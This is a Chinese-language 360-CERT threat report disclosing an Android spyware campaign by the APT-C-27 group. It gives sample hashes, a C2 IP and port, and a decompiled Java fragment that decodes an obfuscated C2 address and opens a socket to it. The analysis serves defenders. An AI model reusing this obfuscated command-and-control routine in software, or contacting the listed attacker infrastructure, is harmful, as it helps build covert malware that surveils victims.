黄金鼠APT-C-27 移动攻击活动披露

报告编号：B6-2018-122901

报告来源：360-CERT

报告作者：360-CERT

更新日期：2018-12-29

0x00 背景介绍

黄金鼠组织（APT-C-27）对叙利亚地区展开了有组织、有计划、有针对性的长时间不间断攻击。其团伙主要以APK、PE、VBS、JS文件作为攻击载体，涉及Android和Windows两大平台，利用社交网络和鱼叉邮件等方式散布和传播恶意载荷。

对黄金鼠组织基础设施进行长期监控，发现近期有新的移动恶意软件投入使用，360CERT 对本次新一轮的移动攻击活动进行披露。

0x01 活动概述

本次捕获到的样本，使用了黄金鼠固有资产82.137.255.56，并且样本TTP与黄金鼠高度重合，所以我们高度自信，这是APT-C-27新一轮的移动攻击活动。

今年十月中旬，360CERT在《"黄金鼠"组织近期攻击样本分析》中对黄金鼠PC平台攻击活动进行披露，发现该组织基础设施高度复用。

长期跟踪过程中，捕获到最新投入使用的安卓恶意软件。经过拓展，发现在2017到2018年活跃的样本如下：

03cbba87c2130a67cece5d009f1b2f6ebd2e4328
0a20cd126ef13e25ebbe8dba8ee34e60b25a957b
19c67606396ae04ca10b2097016eb292f9cf15a7
219ae76db7c1ad04b5985a2476cf7cdd26c69b00
226ceabd4971a43a6b8641399a589f93b19a752c
2727cb46f8ceaca2a6a8ca299a05f7232c8a9a5b
2e1b39c86044e2e83515068198cd1c7cc598cd2c
57eec6f0b8fb47933d81d0af6ecba944ea93e5ee
5d9c175d8b84c03c7e656e5b29a7b9ab69e5a17b
6cc07434307e7da11e37a86fa449eac810bffc50
91f0c8313052d7cf4b0ed24445699e741890b4e8
a1d5e20efa26251ddb115c574860a7a3314141d8
a619d354b60f9f7ad149d4a3b86a8598c2a474c6
af6133e2985ebbf3224c421e156222b9ed5c8ad1
bf15b8d406afd30e50a0f7bcf3d2b4469c47cbe4
ca44a5ed83636cc233c2a78aac83809f9d916427
cbae43259dd89e5806e722e282fb68a3009fca2d
d8a711aaa008f3bf18cd1a77008d7bd674630e99
d9c09f7d8df0276d55cdd15de62a7b073162a3bf
e0bf86e5215faea63f6916512d9c3f498d1a6e99

攻击样本伪装成WhatsApp、Telegram、ChatPrivacy、ChatSecure或者系统更新补丁，通过钓鱼邮件或者即时通信软件进行传播。

最常使用的签名SHA1：

560179d86732f0197a3d27175a6ae53fabdd42d7
2538d6e8c0d1b5d42faa7c25aa8af955a3a02a21
8f59154986ed5acbb57037ada2049fce0c075523
5388e926d9b95a607a25e341d8d199f33da5764a

最常使用的资源文件SHA1：

2a162cdce82782bb10a476f25c6fe39b91fef305
4005c61c64b9a286991526942d4ceba4619c6c86
6467c9b2f7361f066e2fa884b454646024dca191

近两年的移动端攻击活动如下：

alt

近期新捕获到活动的样本（d92a8b3e5804b7b081063e73175fa3a7e20ed691），伪装成Telegram应用，样本行为以及C2结构变化不大。

最新样本详细分析如下：

0x02 样本详细分析

样本运行截图：

alt

com.sevandbatch.augseva_*.hzma.PcketPrvidr.java 中声明了 f_IP_RAW 以及 f_OIRT_RAW

public static String f_IP_RAW = "@uu2_1u37u_2#u#.#u6";
public static int f_PORT_RAW = 1640;

public static String get_ipraw() {

    return f_IP_RAW.replace("@", "8").replace("u", "").replace(".", ".").replace("#", "5");
}

In [3]: tmpa.replace("@", "8").replace("u", "").replace(".", ".").replace("#", "5")
Out[3]: '82_137_255.56'

synchronized (PcketPrvidr.f_socket) {
    PcketPrvidr.f_socket.connect(new InetSocketAddress(lbyName_InetAddress, PcketPrvidr.f_PORT_RAW + 100), 2500);
}

通信地址为 82.137.255.56:1740

出现黄金鼠组织的相关用户名关键词